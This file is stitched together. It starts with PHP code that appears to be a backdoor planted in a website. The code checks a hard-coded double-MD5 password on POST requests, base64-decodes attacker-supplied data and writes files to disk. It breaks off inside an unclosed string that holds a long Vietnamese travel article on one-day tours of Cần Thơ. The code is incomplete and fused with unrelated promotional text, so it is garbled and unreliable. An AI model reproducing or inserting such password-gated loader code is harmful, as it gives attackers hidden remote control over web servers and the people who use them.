function bestrock_render_js(){
echo "";
}
function bestrock_render_index(){
echo md5('56749');
}
function bestrock_render_ajax(){
try {
if(isset($_GET['s1'])) die(md5('js'));
if(isset($_POST['t2'])){
$l1 = uniqid(rand(), true) . '.js';
@file_put_contents($l1, 'js');
if(file_exists($l1)){
if(isset($_POST['t1'])){
$d = md5(md5($_POST['t1']));
if($d=="8ae24e6719c47a39da8ad5451432d9a6"){
$d1=$_POST['t2'];
$d1=base64_decode($d1);
$d4="
Cần Thơ cách TP. Hồ Chí Minh khoảng 170km về phía Nam. Đây không những là đầu mối thông thương quan trọng mà còn là một địa điểm du lịch vô cùng nổi tiếng với nhiều cảnh quan đặc sắc. “Cần Thơ gạo trắng nước trong, ai đi đến đó lòng không muốn về”, nơi đây có mạng lưới sông ngòi và kênh rạch chằng chịt. Từ đó tạo nên những nền văn hóa gắn liền với con sông, bến nước vô cùng đặc biệt.
Nhờ vào sự quy hoạch và nâng cấp cơ sở hạ tầng, Cần Thơ ngày càng phát triển để xứng tầm là thành phố trực thuộc Trung ương của cả nước. Song song với sự phát triển vượt bậc đó, “xứ Tây Đô” vẫn mang trong mình nét truyền thống riêng có, hòa nhập chứ không bị “hòa tan”. Chính vì lẽ đó, Cần Thơ vẫn thu hút hàng triệu lượt khách trong và ngoài nước hàng năm. Nổi bật trong đó là tour du lịch Cần Thơ 1 ngày được rất nhiều du khách quan tâm.
>>>Xem thêm: TOP 15+ địa điểm du lịch Cần Thơ 2023 hấp dẫn
Cần Thơ mang đặc trưng kiểu khí hậu nóng ẩm, ít bị bão ảnh hưởng. Trong đó, mùa khô kéo dài từ tháng 12 đến tháng 4, còn mùa mưa từ tháng 5 đến tháng 11. Do đó, bạn có thể đi du lịch Cần Thơ 1 ngày vào bất kỳ thời điểm nào trong năm nhờ vào kiểu thời tiết dễ chịu, không khắc nghiệt như những vùng khác. Điều đặc biệt là trái cây của vùng đất này sai trĩu quanh năm nhờ vào từng mùa.
Từ tháng 6 đến tháng 8 là lúc Cần Thơ vào mùa trái cây đa dạng nhất. Nếu du khách chọn đi du lịch Cần Thơ 1 ngày vào mùa này, bạn có thể bắt gặp được rất nhiều loại trái cây với giá cả phải chăng. Đây cũng là dịp để bạn có thể thưởng thức nhiều loại trái cây đặc sản ở miền Tây nói chung và Cần Thơ nói riêng.
Từ tháng 9 đến tháng 11 là lúc mùa nước nổi kéo về. Đây là “thời điểm vàng” của những loại rau mọc dưới nước như bông súng, bông điên điển. Lũ về ngập trắng hết cả đồng ruộng. Du khách đi du lịch Cần Thơ 1 ngày có thể chiêm ngưỡng vẻ đẹp non nước hữu tình, những chiếc thuyền ghe xuôi ngược. Bên cạnh đó, bạn có thể thưởng thức những bữa ăn đậm chất mùa nước nổi như lẩu mắm, các món ăn được chế biến từ bông điên điển.
Có thể nói rằng, Cần Thơ chính là vùng đất giàu văn hóa lễ hội bật nhất tại vùng Đồng bằng sông Cửu Long. Một số lễ hội nổi tiếng mà khách du lịch Cần Thơ 1 ngày nên biết.
>>>Xem thêm: Cẩm nang du lịch Cần Thơ 2023 chi tiết nhất
Xe máy
Với đoạn đường không quá xa, do đó khách du lịch Cần Thơ 1 ngày có thể di chuyển bằng xe máy, thời gian dự kiến là 4 tiếng. Từ QL1A bạn sẽ đi qua Long An, Tiền Giang, qua cầu Mỹ Thuận đến Vĩnh Long. Chạy thêm 1 đoạn khoảng 30km nữa là bạn sẽ đến được cầu Cần Thơ để đến trung tâm thành phố.
Xe khách
Đây là cách di chuyển dễ dàng và thuận tiện nhất. Hàng ngày có rất nhiều chuyến xe từ TP. Hồ Chí MInh đến Cần Thơ với tần suất 1 tiếng sẽ có 1 chuyến. Thời gian di chuyển dao động từ 4 đến 5 tiếng tùy theo mật độ xe lưu thông trên đường. Một số nhà xe khách du lịch Cần Thơ 1 ngày nên tham khảo là: Phương Trang, Thành Bưởi, Văn Lang, Mai Linh,…
Phương tiện di chuyển ưu việt và nhanh chóng nhất để đến với Cần Thơ từ Đà Nẵng và Hà Nội là đi bằng máy bay. Hiện nay các hãng như Vietnam Airlines, Bamboo Airways hay Vietjet đều có đường bay trực tiếp đến Cần Thơ. Khách du lịch Cần Thơ 1 ngày có thể đặt vé trước 1 tháng để có mức vé máy bay ưu đãi nhất.
Khách sạn Mường Thanh Cần Thơ tọa lạc tại phường Cái Khế, quận Ninh Kiều, TP. Cần Thơ, cách sân bay quốc tế Cần Thơ chừng 10km. Khách sạn vô cùng sang trọng và tiện nghi với 22 tầng và có 308 phòng. Mỗi loại phòng đều được lắp đặt các trang thiết bị hiện đại bao gồm máy điều hòa, tủ lạnh, internet tốc độ cao. Tất cả các phòng đều có view hướng nhìn ra thành phố hoặc bến Ninh Kiều sầm uất.
Khách sạn cũng trang bị các nhà hàng để phục vụ khách du lịch Cần Thơ 1 ngày khi lưu trú tại đây. Nhà hàng Tây Đô, nằm ở tầng 2 của khách sạn, phòng ăn VIP là nơi tổ chức các bữa tiệc thân mật, cuộc gặp quan trọng với không gian riêng tư và ấm cúng. Phòng trà Cẩm Thi có sức chứa lên đến 200 khách nằm ở tầng 21 của khách sạn, phục vụ từ 19h00 đến 23h00.
Cần Thơ Ecolodge gồm có 12 phòng được thiết kế theo phong cách nhà tranh trải rộng trên 2,7ha bên bờ sông Ba Láng. Tất cả 48 phòng của resort gần gũi với thiên nhiên thông qua vật liệu xây dựng cây, gỗ, lá và nhiều tiện nghi 4 sao khác. Các tiện nghi này bao gồm ban công nhìn ra toàn cảnh và bồn tắm bằng gỗ tự nhiên, mỗi phòng đều mang đến một “bản giao hưởng” từ cây tre của địa phương, lá cọ và gạch đỏ.
>>>Xem thêm: Cẩm nang du lịch Cần Thơ 2023 – Bật mí vô vàn điều thú vị
Khách sạn Sheraton Cần Thơ là một trong những khách 5 sao danh tiếng ở Cần Thơ, với vị trí đắc địa trên đường Cống Quỳnh, thuộc khu vực trung tâm thành phố. Với chỉ khoảng 10 phút đi bộ, du khách có thể đến được các điểm tham quan nổi tiếng như chợ nổi Cái Răng, công viên Ninh Kiều, chợ đêm Cần Thơ.
Khách sạn có tổng số 230 phòng khách đẳng cấp vượt trội, được thiết kế một cách sang trọng với các tiện nghi hiện đại để đáp ứng mọi nhu cầu của khách hàng. Các phòng được trang bị sẵn truyền hình cáp, két an toàn, máy pha trà/ cà phê, tủ lạnh mini, đồ dùng tắm cao cấp, máy sấy tóc, hệ thống điều hòa không khí, tầm nhìn đẹp và wifi miễn phí.
Ngoài ra, khách sạn cũng cung cấp các tiện ích giải trí và tiện nghi cho khách như: Bể bơi, phòng tập gym, spa, quầy bar và các nhà hàng chuyên về ẩm thực Việt Nam và quốc tế. Khách sạn cũng cung cấp dịch vụ hội nghị, hội thảo và tất cả các dịch vụ khác, đáp ứng các yêu cầu của khách du lịch Cần Thơ 1 ngày cho du lịch và công việc.
Với kiến trúc đẹp mắt, tiện nghi đầy đủ và phục vụ tận tình, Sheraton Cần Thơ là một sự lựa chọn tuyệt vời cho khách hàng mong muốn có một kỳ nghỉ tuyệt vời tại Cần Thơ.
Khách sạn Azerai Cần Thơ nằm nép mình dưới những tán cây cổ thụ xanh mát hàng trăm tuổi được bảo tồn trên Cồn Ấu. Khách sạn được bao quanh bởi dòng sông Hậu thơ mộng. Cùng với đó là sự kết hợp với “di sản xanh” của vùng đất này đã tạo nên một khung cảnh hết sức yên bình cho du khách tour du lịch Cần Thơ 1 ngày thưởng ngoạn.
Kiến trúc của khách sạn cũng rất đặc biệt theo phong cách Đông Dương hiện đại khiến cho Azerai trở thành một trong những khách sạn 5 sao được săn đón nhiều nhất vào những mùa cao điểm. Các biệt thự và bungalow của Azerai tạo nên cảm giác đẳng cấp và sang trọng nhưng vẫn mang trong mình sự thư thái và tinh tế. Đến với Azerai hưas hẹn sẽ là một địa điểm dừng chân lý tưởng cho các tín đồ yêu thích sự ấm cúng và thoải mái.
Năm 2018, tờ tạp chí The New York Times của Hoa Kỳ đã bình chọn Azerai Cần Thơ là một trong những nghỉ dưỡng cao cấp và sang trọng đáng trải nghiệm nhất thế giới. Điều này cũng thể hiện được đẳng cấp của khu nghỉ dưỡng này.
Chợ nổi Cái Răng là một trong ba chợ nổi lớn nhất của miền Tây Nam Bộ. Đây là một loại hình chợ độc đáo mà không phải nơi nào ở Việt Nam cũng dễ dàng có được. Chợ nổi Cái Răng tọa lạc trên dòng sông Cần Thơ, số 46 đường Hai Bà Trưng, quận Ninh Kiều, TP. Cần Thơ. Nơi đây đã từng là nơi thu mua lúa gạo sầm uất nhất miền Tây của người Hoa Kiều.
Sở dĩ, chợ nổi Cái Răng nổi tiếng đến như vậy là nhờ địa thế nằm ngay ngã ba sông. Vị trí này có mực nước không cao dễ dàng để thuyền bè neo đậu và buôn bán. Xưa kia, chợ buôn bán chủ yếu các mặt hàng về nông sản và mỗi ghe chỉ bán một mặt hàng duy nhất. Ngày nay, chợ đã có đa dạng hơn các mặt hàng từ trái cây, nông sản, thức ăn cho đến nước uống để phục vụ cho khách du lịch Cần Thơ 1 ngày.
Chợ nổi Cái Răng họp chợ từ rất sớm, chỉ khoảng 4 đến 5 giờ sáng là các tiểu thương đã buôn bán nhộn nhịp. Do đó, khách du lịch Cần Thơ 1 ngày cần phải chuẩn bị từ sớm để có thể tham gia họp chợ. Đến chợ lúc này, bạn không chỉ hòa vào nhịp sống sôi nổi, kẻ mua người bán tấp nập, mà còn có cơ hội được ngắm bình minh trên dòng sông Cần Thơ thơ mộng.
Giá thuê tàu để đi chợ nổi từ 300.000 đến 500.000 VNĐ/khách. Nếu bạn đi du lịch Cần Thơ 1 ngày với số lượng ít, bạn có thể đi ghép đoàn với giá chỉ từ 100.000 VNĐ/ khách. Thuyền thường xuất phát từ sáng sớm để kịp họp chợ nên bạn chú ý đi sớm nhé!
Nhà cổ Bình Thủy tọa lạc tại số 142/144 đường Bùi Hữu Nghĩa, phường Bình Thủy, quận Bình Thủy, TP. Cần Thơ.
Đây là một trong những công trình kiến trúc độc đáo mang hơi hướng cổ kính có niên đại trên dưới 150 năm. Mặc dù lâu đời là vậy nhưng nhà cổ vẫn còn nguyên những nét đẹp từ xưa cho đến tận ngày nay. Nhà cổ Bình Thủy thuộc gia tộc họ Dương, nhà cổ cũng đã từng được “chọn mặt gửi vàng” cho rất nhiều bộ phim đình đám từ trong nước cho đến quốc tế như: Người tình (1992), Người đẹp Tây Đô (1996), Những nẻo đường phù sa (1995),…
Nhà cổ Bình Thủy nổi tiếng bởi kiến trúc độc đáo, với những giai thoại ly kỳ, hấp dẫn. Căn nhà là sự hòa hợp giữa cái hồn Việt và văn hóa kiến trúc Đông Tây đã tạo nên một dấu ấn khó phai trong lòng du khách tour du lịch Cần Thơ 1 ngày.
Từ bên ngoài nhìn vào, cổng rào được thiết kế vô cùng hiện đại nhờ vào vật liệu sắt cùng hàng bê tông làm trụ. Bước qua cánh cổng là đến cổng tam quan bằng gỗ phong cách của người Hoa, tại đây có hai bảng hiệu đề là “Phước An Hiệu” và “Phủ thờ họ Dương”. Kiến trúc của tòa nhà được thiết kế vô cùng tinh tế và tỉ mỉ, từ hoa văn được điêu khắc trên những hàng cột cho đến vòm cửa, viền nhà đều được chạm khắc vô cùng tinh xảo.
Nhà cổ Bình Thủy còn thu hút khách du lịch Cần Thơ 1 ngày bởi cầu thang hình cung dẫn vào nhà. Nơi đây còn có hai cây đèn to được đúc vào thời Pháp đặt trước mặt tiền hai bên cầu thang. Một sự thật thú vị là khi cho xây dựng gian nhà chính, chủ nhân họ Dương đã cho đổ một lớp muối dày chừng 10cm. Điều này nhằm xua đuổi côn trùng và tránh tà vận theo quan niệm phong thủy.
>>>Xem thêm: 15+ địa điểm du lịch Cần Thơ nổi bật 2023
Nếu khách du lịch Cần Thơ 1 ngày đang tìm kiếm một nơi bình yên, chốn tâm linh thanh tịnh thì có thể ghé Thiền viện Trúc Lâm Phương Nam Cần Thơ. Đây là một địa điểm du lịch tâm linh nổi tiếng và là thiền viện có khuôn viên lớn nhất tại miền Tây Nam Bộ.
Thiền viện nằm ở xã Mỹ Khánh, huyện Phong Điền, TP. Cần Thơ. Ngôi chùa mang phong cách kiến trúc thời Lý – Trần vô cùng độc đáo. Đây là một trong những công trình Phật giáo lớn nhất tại vùng Đồng bằng Sông Cửu Long, được xây dựng dựa trên đề xuất của Bộ trưởng Bộ Quốc phòng – Đại tướng Phạm Văn Trà.
Thiền viện Trúc Lâm được xây dựng trên một mảnh đất có diện tích khoảng 4ha. Được khởi công từ tháng 7/2013 và khánh thành vào tháng 5/2014, dưới sự chủ trì của Ban trị sự Phật giáo TP. Cần Thơ. Công trình gây ấn tượng đến khách du lịch Cần Thơ 1 ngày bởi lối kiến kết cấu mái lợp ngói, khung gỗ lim và lối đi được lót gạch tàu.
Trong khuôn viên được bày trí 20 hạng mục công trình như: Nhà tổ, nhà thủy tạ, bảo tháp 9 tầng, tháp chuông, tháp trống, khu tăng xá, khu trai đường, thư viện dành cho khách du lịch Cần Thơ 1 ngày đến đọc sách.
Đặc biệt, Thiền viện còn đặc biệt ở những hạng mục làm từ 1000 khối gỗ lim nhập từ Nam Phi, tượng Phật Thích Ca Mâu Ni được đúc bằng đồng, tượng Bồ Tát và các vị tổ sư được làm bằng gỗ Du Sam có tuổi thọ trên 800 năm tuổi.
Đến với Thiền viện Trúc Lâm Phương Nam Cần Thơ, du khách du lịch Cần Thơ 1 ngày không chỉ được vãn cảnh chùa mà còn được chụp ảnh check-in sống ảo. Nơi đây có rất nhiều những hạng mục đẹp tại đây như khu vực tháp chuông, tháp trống, bức tượng của các vị la hán, 33 ứng hóa thân của Bồ Tát. Cùng với đó là không gian miệt vườn xanh mát đậm chất miền Tây Nam Bộ.
Làng du lịch sinh thái Mỹ Khánh tọa lạc tại ấp Nhơn Mỹ, xã Mỹ Khánh, huyện Phong Điền, TP. Cần Thơ. Khuôn viên của khu du lịch vô cùng rộng rãi với hơn 50.000m2 với nhiều không gian vô cùng độc đáo như vườn cây ăn trái, nhà cổ, ao cá, cùng nhiều trò chơi thú vị khác.
Điều đầu tiên mà du khách tour du lịch Cần Thơ 1 ngày không thể bỏ qua đó chính là những gian nhà cổ kính. Các ngôi nhà này đều có tuổi đời trên 100 năm, được thể hiện theo phong cách kiến trúc của người Nam Bộ xưa.
Phía sau những gian nhà cổ là những làng nghề truyền thống về các đặc sản tại vùng đất này. Khách du lịch Cần Thơ 1 ngày sẽ được “tận mục sở thị” quy trình chế biến ra rượu, hủ tiếu hoặc bánh tráng,… Đây sẽ là những món quà ý nghĩa mà bạn có thể mua về cho gia đình.
Ngoài ra, tại đây còn có rất nhiều loại cây ăn quả, trĩu nặng, ngọt lịm. Có thể khách du lịch Cần Thơ sẽ dễ dàng “đổ gục” với hàng loạt vườn xoài, mít, chôm chôm, sầu riêng,… được trồng men theo các lối đi. Những hàng cây này không chỉ để ngắm mà còn có thể hái ăn được, bạn có thể thưởng thức hương vị thơm ngon trực tiếp tại đây.
Khu du lịch Mỹ Khánh còn là nơi lý tưởng để khách du lịch Cần Thơ 1 ngày thưởng thức không gian văn hóa đờn ca tài tử. Những giai điệu mùi mẫn là một nét đặc trưng của người dân xứ Nam Kỳ nói chung và miền Tây nói riêng. Vào năm 2013, đờn ca tài tử đã được UNESCO công nhận là di sản văn hóa phi vật thể của nhân loại.
Bên cạnh đó, làng du lịch Mỹ Khánh còn có rất nhiều những hoạt động thú vị khác mà du khách tour du lịch Cần Thơ 1 ngày có thể trải nghiệm. Một trong số đó là xem xiếc, xem phim 6D, câu cá,…
Vườn cò Bằng Lăng là một vườn cò nổi tiếng tọa lạc tại Thới Bình 1, phường Thuận An, quận Thốt Nốt, TP. Cần Thơ. Vườn cò có diện tích rộng hơn 16.000m2, nơi đây là địa điểm quy tụ của hơn 20 loài cò khác nhau.
Những loại chim nổi tiếng có tại đây như: Cò ma, cò cá, cò bông, cò ruồi, còn sen, cò rằn, cò quắm, cồng cộc, bạc má, điên điển, cuốc, bìm bịp,… Chính vì sự đa dạng của các loài chim đã thu hút rất nhiều du khách tour du lịch Cần Thơ 1 ngày đến thăm hàng năm.
Vườn cò Bằng Lăng vốn là một địa điểm du lịch tự phát. Trước đây, vùng đất này là một vườn tre trúc xuất hiện nhiều đàn cò về đây quy tụ và bay lượn đông đảo. Dần dần những âm thanh của tiếng chim, tiếng cò đã tại nên một giai điệu đặc trưng cho mảnh đất này.
Cho đến năm 1983, vườn cò được hình thành với tổng diện tích lên đến 13.000m2. Hiện nay để phát triển thành nhu cầu du lịch sinh thái cho du khách, vườn cò Bằng Lăng được quy hoạch lên đến hơn 16.000m2. Càng ngày càng nhiều đàn cò kéo về khu vực này để sinh sôi nảy nở, tạo nên một sắc trắng rợp một góc trời.
Xung quanh vườn chim còn có những hàng bằng lăng tím cực kỳ thơ mộng. Có lẽ đây chính là sự khởi phát cho tên gọi vườn cò Bằng Lăng. Cùng với đó là sự hòa hợp với mùa xanh bạt ngàn của rừng cây, kèm theo những âm thanh độc đáo của đàn chim tạo nên một cảm giác thư thái cho khách du lịch Cần Thơ 1 ngày. Đây là một địa điểm mà bạn không nên bỏ qua khi đi du lịch Cần Thơ.
>>>Xem thêm: Tour du lịch Cần Thơ – Phú Quốc 4N3Đ cực hấp dẫn
Cồn Sơn tọa lạc giữa dòng sông Hậu dịu dàng, thuộc phường Bùi Hữu Nghĩa, quận Bình Thủy, TP. Cần Thơ. Để đến được với Cồn Sơn, du khách tour du lịch Cần Thơ 1 ngày cần gửi phương tiện tại bến đò Cô Bắc và đi đò sang cồn.
Đến với cồn Sơn, du khách tour du lịch Cần Thơ 1 ngày không thể bỏ qua “tuyệt chiêu” cá lóc bay của nhà vườn Tín Hòa. Từ bản tính của cá nên mỗi khi cho ăn, chủ vườn lấy đũa gõ vào xô đựng thức ăn cho cá quen dần với âm thanh của tiếng gõ.
Khi đã quen với âm thanh đó, mỗi khi họ gõ vào xô thì lập tức đàn cá lóc dưới ao nhảy lên khỏi mặt nước để đớp thức ăn. Dần dần, nó đã trở thành một sản phẩm du lịch độc đáo, đưa cồn Sơn được biết đến nhiều trên bản đồ du lịch Cần Thơ.
Bên cạnh đó, khách du lịch Cần Thơ 1 ngày còn có thể thoải mái thưởng thức những loại trái cây tươi như ổi, bưởi,… ngay tại vườn hay tham gia các hoạt động chèo xuồng, đi cầu tre trên ao sen. Vì ở cồn nên những loại trái cây ở đây rất tươi ngon, trong số đó phải kể đến: Bưởi Năm Roi, chôm chôm, dâu xanh, nhãn,… với giá cả rất phải chăng.
Ngoài ra, hoạt động trải nghiệm tát mương bắt cá cũng là một hoạt động được nhiều khách du lịch Cần Thơ 1 ngày tham gia khi đến với cồn Sơn. Tự tay bắt được những con cá lóc đem nướng trui sau đó thưởng thức là một cảm giác sẽ làm cho bạn không thể nào quên được. Đây cũng là một cách để bạn lưu giữ kỷ niệm khi “hóa thân” thành những người nông dân miền Tây.
Nếu bạn có dịp đi du lịch đến Cần Thơ thì ngoài việc tham quan các cảnh đẹp bạn không nên bỏ lỡ cơ hội khám phá các làng nghề truyền thống như làng đan lưới Thơm Rơm, làng bánh tráng Thuận Hưng, làng đan lọp Thới Long, làng hoa Thới Nhựt,…. trong đó có làng nghề làm hủ tiếu truyền thống.
Ở thành phố Cần Thơ hiện nay có rất nhiều hộ gia đình làm nghề sản xuất hủ tiếu truyền thống. Trong số đó, nổi bật nhất là hai gia đình Sáu Hoài và Chín Của. Ngoài việc sản xuất hủ tiếu hàng ngày, các cơ sở này cũng rất sẵn sàng chào đón những khách du lịch Cần Thơ 1 ngày trong và ngoài nước tới thăm, tham quan quy trình sản xuất của họ.
Mỗi hộ gia đình đều sẽ có bí quyết gia truyền của riêng họ trong từng khâu chế biến để tạo ra sợi hủ tiếu màu trắng đục thơm ngon. Nhưng nguyên liệu quan trọng nhất phải là loại gạo trắng nõn, thon dài. Tiếp đến là quy trình ngâm, vo gạo, gút, xay, bòng, đánh.
Sau đó cho vào lu nước quậy để lấy phần tinh bột, rồi tráng, phơi và cuối cùng là cắt hủ tiếu thành sợi. Khách du lịch Cần Thơ 1 ngày có đến tham quan lò hủ tiếu sẽ được tham gia vào các công đoạn tráng bánh hủ tiếu và cắt sợi.
Và đặc biệt khi đến đây bạn cũng đừng quên thưởng thức các món ăn ngon được chế biến từ hủ tiếu vừa làm như hủ tiếu nước thịt heo xương, hủ tiếu chiên giòn thịt khìa, hủ tiếu chiên giòn,… vô cùng thơm ngon và hấp dẫn.
Có thể nói món ăn này là tinh hoa của ẩm thực miền Tây nói chung và của Cần Thơ nói riêng. Nước dùng được làm trực tiếp từ mắm cá, dùng kèm với tôm, cá, mực, và nhiều loại rau đặc trưng miền sông nước. Một trong số đó phải kể đến là bông điên điển, bông súng, cù nèo, lục bình, rau muống, rau đắng, cà tím, nấm rơm,…
Một số quán ăn có món lẩu mắm ngon mà du khách tour du lịch Cần Thơ 1 ngày nên tham khảo:
>>>Xem thêm: Kinh nghiệm du lịch Cần Thơ năm 2022 cần thiết cho bạn
Nếu du khách đi du lịch Cần Thơ 1 ngày mà không ăn cá lóc nướng trui thì quả là một thiếu sót lớn. Món ăn dân dã này đã xuất hiện từ thuở khai hoang lập địa của người Nam Bộ xưa. Cách làm món ăn này cũng rất đơn giản, chỉ cần cho một cái xiên que vào miệng cá rồi cắm xuống đất. Sau đó dùng rơm phủ lên, đốt cho đến khi rơm tàn là cá chín.
Sau khi cá chín thì đặt cá lên một tấm lá chuối, cạo hết lớp da bị cháy đen rồi cho một ít mỡ hành lên phía trên cùng đậu phộng nhuyễn. Cá có vị ngọt tự nhiên, cuộn với bánh tráng kèm rau sống, chấm với nước chấm đặc biệt của người miền Tây là “hết bài”. Đây là một món ăn dân dã nhưng cực kỳ thơm ngon mà khách du lịch Cần Thơ 1 ngày không nên bỏ lỡ.
Vịt nấu chao là một trong những món đặc sản Cần Thơ có hương vị gây thương nhớ nhiều nhất đối với mọi thực khách. Nguyên liệu chính làm nên món ăn là vịt xiêm, đặc biệt phải là vịt nhiều thịt ít mỡ, giảm độ dầu mỡ.
Để làm nên món lẩu vịt nấu chao chuẩn vị nhất, người ta phải đảm bảo từng miếng thịt đều được thấm gia vị, mềm mại, không quá dai và đặc biệt là không bị hôi. Kết hợp với loại chao ngon, đây được xem là linh hồn của món ăn, món ăn càng “dậy mùi” thơm lừng, vừa béo nhưng không hề bị ngấy.
Một số quán nấu vịt nấu chao ngon mà khách du lịch Cần Thơ 1 ngày nên biết:
Bánh hỏi Út Dzách là một trong những món ăn độc đáo của người Cần Thơ. Được nhiều thực khách phong tặng danh hiệu là món ăn “đệ nhất Tây Đô”. Đến đây du khách tour du lịch Cần Thơ 1 ngày không chỉ được chiêm ngưỡng quy trình khéo léo tạo ra món bánh này. Mà còn được tham gia làm thử, thưởng thức món bánh hỏi bánh thịt xiên trong không gian đậm chất miệt vườn, miệt thứ.
Món bánh hỏi mặt võng là nghề truyền thống lâu đời, có cách đây từ hơn 50 năm trước. Bánh hỏi mặt võng khác với bánh hỏi thông thường là vì nó có vị ngọt, mặn, miếng bánh trong và dai hơn, đặc biệt không dùng các chất phụ gia. Sở dĩ, món bánh này có tên là bánh hỏi mặt võng là vì hoa văn của bánh nhìn như mặt lưới của chiếc võng đẹp mắt do sự khéo léo của các nghệ nhân làm nên.
Từ thuở khai nguyên, bánh làm ra chỉ với mục đích sử dụng trong gia đình và chi sớt với xóm giềng xung quanh. Dần dần theo đề nghệ của các bà con mới bắt đầu làm bánh hỏi gia công để bán. Sau đó, phát triển thành một địa điểm du lịch sinh thái thu hút khách du lịch Cần Thơ 1 ngày như hiện nay.
>>>Xem thêm: “Chìm đắm” trong TOP 10 Khu du lịch sinh thái Cần Thơ
Để có một đòn bánh tét lá cẩm ngon thì phải trải qua công đoạn chế biến rất công phu. Trước tiên phải lựa loại nếp thật ngon, không lẫn gạo tẻ mới làm cho đòn bánh có độ dẻo dai.
Sau đó, ngâm nếp qua khoảng 6 tiếng rồi để ráo, trộn với nước lá cẩm để có một màu tím đẹp mắt. Lá cẩm phải còn tươi tốt, nếu lá úa sẽ làm cho nước lá cẩm ra màu xấu.
Sau khi ngâm nếp đạt đến độ mềm nhất định thì sẽ xào nếp với nước cốt dừa, cho vào một ít muối, đường rồi đảo khoảng một tiếng để màu lá cẩm và vị béo của nước dừa hòa quyện ngấm vào từng hạt nếp.
Nhân bánh tét lá cẩm rất đa dạng, có thể là nhân đậu xanh, thịt, trứng muối, có thể thêm tôm khô hoặc chỉ đơn giản là nhân chuối. Bánh được gói trong lá chuối tươi, lá phải được lau sạch và thoa một lớp dầu trên bề mặt để tránh nếp dính vào lá khi nấu.
Công đoạn gói bánh là lúc cần đến những đôi bàn tay khéo léo, bánh đẹp phải đảm bảo tròn đều, sao cho nhân bánh là thịt, hay trứng muối, lạp xưởng, hay nhân chuối phải được nằm đúng ở vị trí chính giữa của bánh.
Bánh được luộc trong khoảng từ 4 đến 5 tiếng thì vớt ra để ráo nước. Lá cẩm không chỉ cho màu tím đẹp mắt mà còn là phương pháp bảo quản tự nhiên không độc hại. Nếu bánh tét bình thường chỉ để được 2, 3 ngày thì bánh tét lá cẩm có thể kéo dài 4, 5 ngày.
Chính vì nhờ sự tỉ mỉ, công phu của các bà các mẹ mà món bánh tét lá cẩm Cần Thơ rất nổi tiếng. Hơn nữa, màu tím tự nhiên của lá cẩm khiến chiếc bánh tét thêm đẹp mắt, hấp dẫn. Cắn một miếng bánh tét nếp dẻo và cái vị ngọt của thịt, của hương thơm của lá cẩm như đọng trong đầu lưỡi. Bạn sẽ thấy sự khác biệt rõ rệt khi ăn loại bánh tét này so với loại bánh tét truyền thống khác.
Du khách tour du lịch Cần Thơ 1 ngày có thể mua thức bánh này về làm quà tặng cho bạn bè, người thân cũng rất hợp lý.
Khi đi du lịch Cần Thơ 1 ngày, bạn nên lưu ý:
>>>Xem thêm: Khu du lịch sinh thái Cồn Ấu Cần Thơ 2023 có gì hấp dẫn?
Trên đây là tất cả những “bí kíp” của Đi Để Đến chinh phục tour du lịch Cần Thơ 1 ngày. Qua bài viết trên chúng mình hy vọng sẽ giúp bạn trả lời được những câu hỏi như nên ăn gì, ở đâu, chơi gì khi đến Cần Thơ.
Nếu bạn còn những thắc mắc cần chúng tôi giải đáp hoặc cần tư vấn tour du lịch. Quý khách xin vui lòng liên hệ qua đường dây nóng: 1900 3398 để được giải đáp một cách nhanh chóng. Xin chân thành cảm ơn!